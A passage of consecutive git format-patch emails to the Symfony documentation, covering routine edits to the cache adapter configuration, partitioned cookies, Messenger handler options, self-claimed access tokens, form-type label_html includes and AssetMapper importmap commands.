                     default-doctrine-dbal-provider="doctrine.dbal.default_connection"
@@ -191,15 +178,11 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
-                // Service: cache.doctrine_dbal
+
                 ->defaultDoctrineDbalProvider('doctrine.dbal.default_connection')
-                // Service: cache.psr6
                 ->defaultPsr6Provider('app.my_psr6_service')
-                // Service: cache.redis
                 ->defaultRedisProvider('redis://localhost')
-                // Service: cache.memcached
                 ->defaultMemcachedProvider('memcached://localhost')
-                // Service: cache.pdo
                 ->defaultPdoProvider('pgsql:host=localhost')
             ;
         };

From a789e39a4b7edf727e0bf3cde24d1604ec62545f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 7 Nov 2023 08:37:04 +0100
Subject: [PATCH 5374/7107] -

---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 94b5ac5a9de..e1d82c4df7e 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -827,7 +827,7 @@ method::
 
 .. note::
 
-    All deprecation messages are displayed in the profiler logs into Deprecations tab.
+    All deprecation messages are displayed in the profiler logs in the "Deprecations" tab.
 
 Instead of passing the message, you may also pass a closure which returns
 a string (the deprecation message) or an empty string to ignore the deprecation.

From 7ab6c816b9adfc6d4950f2994c3d8d47001c7cff Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 6 Nov 2023 23:14:14 +0100
Subject: [PATCH 5375/7107] [Cache] Fix PdoAdapter examples

---
 cache.rst | 25 +++++++++++++++++++++----
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/cache.rst b/cache.rst
index e8ae5c8525e..0e449f2bb0d 100644
--- a/cache.rst
+++ b/cache.rst
@@ -143,7 +143,12 @@ Some of these adapters could be configured via shortcuts.
                 default_psr6_provider: 'app.my_psr6_service'
                 default_redis_provider: 'redis://localhost'
                 default_memcached_provider: 'memcached://localhost'
-                default_pdo_provider: 'pgsql:host=localhost'
+                default_pdo_provider: 'app.my_pdo_service'
+
+        services:
+            app.my_pdo_service:
+                class: \PDO
+                arguments: ['pgsql:host=localhost']
 
     .. code-block:: xml
 
@@ -164,17 +169,24 @@ Some of these adapters could be configured via shortcuts.
                     default-psr6-provider="app.my_psr6_service"
                     default-redis-provider="redis://localhost"
                     default-memcached-provider="memcached://localhost"
-                    default-pdo-provider="pgsql:host=localhost"
+                    default-pdo-provider="app.my_pdo_service"
                 />
             </framework:config>
+
+            <services>
+                <service id="app.my_pdo_service" class="\PDO">
+                    <argument>pgsql:host=localhost</argument>
+                </service>
+            </services>
         </container>
 
     .. code-block:: php
 
         // config/packages/cache.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
@@ -183,7 +195,12 @@ Some of these adapters could be configured via shortcuts.
                 ->defaultPsr6Provider('app.my_psr6_service')
                 ->defaultRedisProvider('redis://localhost')
                 ->defaultMemcachedProvider('memcached://localhost')
-                ->defaultPdoProvider('pgsql:host=localhost')
+                ->defaultPdoProvider('app.my_pdo_service')
+            ;
+
+            $container->services()
+                ->set('app.my_pdo_service', \PDO::class)
+                ->args(['pgsql:host=localhost'])
             ;
         };
 

From 16739375688eeb4232c5de97258c3d05e9c9a221 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 7 Nov 2023 14:59:47 +0100
Subject: [PATCH 5376/7107] [HttpFoundation] Cookies Having Independent
 Partitioned State (CHIPS)

---
 components/http_foundation.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 67417ad81fe..88af1ff02cf 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -531,6 +531,21 @@ a new object with the modified property::
         ->withDomain('.example.com')
         ->withSecure(true);
 
+It is possible to define partitioned cookies, also known as `CHIPS`_, by using the
+:method:`Symfony\\Component\\HttpFoundation\\Cookie::withPartitioned` method::
+
+    $cookie = Cookie::create('foo')
+        ->withValue('bar')
+        ->withPartitioned();
+
+    // you can also set the partitioned argument to true when using the `create()` factory method
+    $cookie = Cookie::create('name', 'value', partitioned: true);
+
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Component\\HttpFoundation\\Cookie::withPartitioned`
+    method was introduced in Symfony 6.4.
+
 Managing the HTTP Cache
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -982,3 +997,4 @@ Learn More
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
 .. _RFC 8674: https://tools.ietf.org/html/rfc8674
 .. _Doctrine Batch processing: https://www.doctrine-project.org/projects/doctrine-orm/en/2.14/reference/batch-processing.html#iterating-results
+.. _`CHIPS`: https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies

From f5e530bc914c26d4b029ffc5584e21caca149d98 Mon Sep 17 00:00:00 2001
From: Rachid Hammaoui <37940572+makmaoui@users.noreply.github.com>
Date: Tue, 7 Nov 2023 22:12:42 +0100
Subject: [PATCH 5377/7107] Improve handler options description

---
 messenger.rst | 30 ++++++++++++++++++++----------
 1 file changed, 20 insertions(+), 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index dd71d42649f..ad15417aee5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2016,11 +2016,16 @@ You can configure your handler by passing options to the attribute::
 
 Possible options to configure with the attribute are:
 
-* ``bus``
-* ``fromTransport``
-* ``handles``
-* ``method``
-* ``priority``
+============================  ====================================================================================================
+Option                        Description
+============================  ====================================================================================================
+``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
+``fromTransport``             Name of the transport from which the handler can receive messages, by default all transports.
+``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
+                              type-hint.
+``method``                    Name of the method that will process the message, only if the target is a class.
+``priority``                  Priority of the handler when multiple handlers can process the same message.
+============================  ====================================================================================================
 
 .. _messenger-handler-config:
 
@@ -2079,11 +2084,16 @@ by tagging the handler service with ``messenger.message_handler``
 
 Possible options to configure with tags are:
 
-* ``bus``
-* ``from_transport``
-* ``handles``
-* ``method``
-* ``priority``
+============================  ====================================================================================================
+Option                        Description
+============================  ====================================================================================================
+``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
+``from_transport``            Name of the transport from which the handler can receive messages, by default all transports.
+``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
+                              type-hint.
+``method``                    Name of the method that will process the message.
+``priority``                  Priority of the handler when multiple handlers can process the same message.
+============================  ====================================================================================================
 
 .. _handler-subscriber-options:
 

From 600b3b191f485c9f67ab97416ff174c5a7b0af90 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Wed, 8 Nov 2023 16:38:06 +0100
Subject: [PATCH 5378/7107] hint for mapping request payload error messages

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 controller.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/controller.rst b/controller.rst
index 0f2d5b76bac..6837c28c837 100644
--- a/controller.rst
+++ b/controller.rst
@@ -502,6 +502,14 @@ payload formats::
         // ...
     }
 
+.. tip::
+
+    If you build a JSON API, make sure to declare your route as using the JSON
+    :ref:`format <routing-format-parameter>`. This will make the error handling
+    output a JSON response in case of validation errors, rather than an HTML page::
+
+        #[Route('/dashboard', name: 'dashboard', format: 'json')]
+
 Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
 if you want to map a nested array of specific DTOs::
 

From 809f169e93cbb4069cbc912c4059c5a293996281 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Nov 2023 12:18:51 +0100
Subject: [PATCH 5379/7107] Add info about feature freeze period

---
 contributing/code/pull_requests.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1d6cf85ff3c..554f3482df6 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -147,6 +147,12 @@ work:
     for the ``5.4`` branch, the PR will also be applied by the core team on
     all the ``6.x`` branches that are still maintained.
 
+During the :ref:`stabilization phase <contributing-release-development>`, the development branch is in
+feature freeze. Please help the community prepare for the new version release. If you want to submit a
+new feature pull request, you should target the next version. For example, if ``6.3`` reached feature
+freeze, new features should target ``6.4``. If the ``6.4`` branch does not yet exist, target ``6.3``
+and rebase your pull requests once the branch is created.
+
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~
 

From 6cb1ca8cfec938a596a8a5d3587908d5c4d61d6d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Nov 2023 11:44:40 +0100
Subject: [PATCH 5380/7107] [SecurityBundle] Improve support for authenticators
 that don't need a user provider

---
 security/access_token.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index 922e6906f58..85655d8d670 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -709,6 +709,25 @@ create your own User from the claims, you must
         }
     }
 
+Using Self-Claimed Tokens
+-------------------------
+
+You may use tokens that are self-claimed, meaning that they contain all
+the information needed to authenticate the user. This happens when a security
+token doesn't need a user provider to get all needed information about the
+user. For instance, a JWT can be self-claimed when it contains a username as
+well as the roles of the user.
+
+When using self-claimed tokens with stateless firewalls, you can omit to
+configure a user provider. The token authenticator will use the token to
+create a user object with the claims of the token. This means that you can
+skip creating your own user provider.
+
+.. versionadded:: 6.3
+
+    The possibility to omit the user provider in case of stateless firewalls
+    and self-claimed tokens was introduced in Symfony 6.3.
+
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From 68dd4da65f5a89905cd7fb00d80ad5eab9c1f815 Mon Sep 17 00:00:00 2001
From: Robin Delbaere <hello@rdelbaere.fr>
Date: Thu, 9 Nov 2023 21:41:41 +0100
Subject: [PATCH 5381/7107] Added missing link for label_html in some form
 types

---
 reference/forms/types/checkbox.rst   | 2 ++
 reference/forms/types/choice.rst     | 2 ++
 reference/forms/types/collection.rst | 2 ++
 reference/forms/types/color.rst      | 2 ++
 reference/forms/types/country.rst    | 2 ++
 reference/forms/types/currency.rst   | 2 ++
 reference/forms/types/email.rst      | 2 ++
 reference/forms/types/entity.rst     | 2 ++
 reference/forms/types/enum.rst       | 2 ++
 reference/forms/types/file.rst       | 2 ++
 reference/forms/types/integer.rst    | 2 ++
 reference/forms/types/language.rst   | 2 ++
 reference/forms/types/locale.rst     | 2 ++
 reference/forms/types/money.rst      | 2 ++
 reference/forms/types/number.rst     | 2 ++
 reference/forms/types/password.rst   | 2 ++
 reference/forms/types/percent.rst    | 2 ++
 reference/forms/types/radio.rst      | 2 ++
 reference/forms/types/range.rst      | 2 ++
 reference/forms/types/search.rst     | 2 ++
 reference/forms/types/tel.rst        | 2 ++
 reference/forms/types/text.rst       | 2 ++
 reference/forms/types/textarea.rst   | 2 ++
 reference/forms/types/timezone.rst   | 2 ++
 reference/forms/types/ulid.rst       | 2 ++
 reference/forms/types/url.rst        | 2 ++
 reference/forms/types/uuid.rst       | 2 ++
 27 files changed, 54 insertions(+)

diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index 2e699464eee..472d6f84024 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -81,6 +81,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 77a6495a2ab..d349fc76103 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -263,6 +263,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c4aa8be8a7f..785853374b6 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -310,6 +310,8 @@ error_bubbling
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 62811d0386d..82e36417552 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -77,6 +77,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 3cd748c74c8..e5c14c547d7 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -110,6 +110,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 7417ac636c2..c68ce61215c 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -91,6 +91,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 90752042409..9045bba8cc4 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -54,6 +54,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index e87336c2ec6..6cd13520c9c 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -321,6 +321,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 7a01f41f27b..43ca7833a38 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -172,6 +172,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 29601e860f8..e306b1b120d 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -129,6 +129,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index b88211d9ae5..8ea50e3158d 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -108,6 +108,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 2ede5f38e9f..0fd0a63ecd2 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -131,6 +131,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index eb8075093ed..c869155bdc2 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -104,6 +104,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 99631f3e1e4..23955947e40 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -130,6 +130,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 81b71bfe91b..ea0aa5de5a2 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -95,6 +95,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index e3e11ecb02f..3e92c48aeda 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -76,6 +76,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 803badd2971..f3bc56356cb 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -124,6 +124,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index 72acd123af3..7702b87cbad 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -60,6 +60,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 95e4bcff64c..294023ce0c6 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -69,6 +69,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/mapped.rst.inc
 
 .. include:: /reference/forms/types/options/required.rst.inc
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index d99b8fefc0a..e38021bc461 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -54,6 +54,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index cca1c52a4be..675f8e3f5cd 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -60,6 +60,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index dd690c6e6df..0527c5405e7 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -46,6 +46,8 @@ an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index e642cbdb4db..687d1bb225b 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -52,6 +52,8 @@ an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 7e0d5b8beb0..f11ee72f4d5 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -125,6 +125,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 9ad8e7a6fee..33ab0ed6f9f 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -62,6 +62,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index b75a2b1db0c..5f97fcb89a4 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -67,6 +67,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index 6c0cd576cae..0b95d9db50d 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -62,6 +62,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc

From 71cd26bd017f11805b8d5930255c07a8d656c9a3 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 11 Nov 2023 17:28:32 +0100
Subject: [PATCH 5382/7107] [Setup] Fix Platform.sh docs URL for Symfony
 technical docs

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b4b416a2256..1c1ce448245 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -527,7 +527,7 @@ help debug any issues.
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software)
 .. _`Platform.sh`: https://symfony.com/cloud/
-.. _`Read Platform.sh for Symfony technical docs`: https://symfony.com/doc/master/cloud/intro.html
+.. _`Read Platform.sh for Symfony technical docs`: https://symfony.com/doc/current/cloud/index.html
 .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en

From 9f1f17f0795c55dfcfc04a76b1b22eb59727a2d4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Freerich=20B=C3=A4thge?= <freerich.baethge@zeitgeist.io>
Date: Fri, 3 Nov 2023 22:30:27 +0100
Subject: [PATCH 5383/7107] [AssetMapper] Remove `--download` option that has
 become obsolete

---
 frontend/asset_mapper.rst | 35 +++++++++++++++++------------------
 1 file changed, 17 insertions(+), 18 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 3d224e2d657..fb084346056 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -200,9 +200,9 @@ this can be done by importing its full URL, like from a CDN:
 
     import { Alert } from 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm';
 
-But yikes! Needing to include that URL is a pain! Instead, we can add
-this to our "importmap" via the ``importmap:require`` command. This command can
-be used to download any `npm package`_:
+But yikes! Needing to include that URL is a pain! Instead, we can add this package
+to our "importmap" via the ``importmap:require`` command. This command can be used
+to add any `npm package`_:
 
 .. code-block:: terminal
 
@@ -219,35 +219,34 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
         ],
     ];
 
-Now you can import the ``bootstrap`` package like normal:
+.. note::
+
+    Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
+    such as ``@popperjs/core``. The ``importmap:require`` command will add both the
+    main package *and* its dependencies.
+
+After adding/updating the package in your ``importmap.php`` file, all new packages
+will be downloaded into an ``assets/vendor/`` directory.
+
+Now you can import the ``bootstrap`` package like usual:
 
 .. code-block:: javascript
 
     import { Alert } from 'bootstrap';
     // ...
 
-If you want to download the package locally, use the ``--download`` option:
+It's recommended to ignore the ``assets/vendor/`` directory and not commit it to
+your repository. Therefore, you'll need to run the ``php bin/console importmap:install``
+command to download the files on other computers if some files are missing:
 
 .. code-block:: terminal
 
-    $ php bin/console importmap:require bootstrap --download
-
-This will download the package into an ``assets/vendor/`` directory and update
-the ``importmap.php`` file to point to it. It's recommended to ignore this
-directory and not commit it to your repository. Therefore, you'll need to run the
-``php bin/console importmap:install`` command to download the files on other
-computers if some files are missing.
+    $ php bin/console importmap:install
 
 .. versionadded:: 6.4
 
     The ``importmap:install`` command was introduced in Symfony 6.4.
 
-.. note::
-
-    Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
-    such as ``@popperjs/core``. The ``download`` option will download both the main
-    package *and* its dependencies.
-
 You can check for available updates for your third-party packages by running:
 
 .. code-block:: terminal

From aa817e1bd858fd28da230670bf96b5f80b94af14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Nov 2023 09:33:03 +0100
Subject: [PATCH 5384/7107] Tweak

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 4fdcaf54b8f..600fdf3ae9e 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -444,7 +444,7 @@ to check a list of paths for a common base path::
     );
     // => /var/www/vhosts/project/httpdocs
 
-Use this path together to shorten the stored paths::
+Use this common base path to shorten the stored paths::
 
     return [
         $basePath.'/config/config.yaml',

From 48db6a2d44bbf02af18c6607b93d6142127d1af5 Mon Sep 17 00:00:00 2001
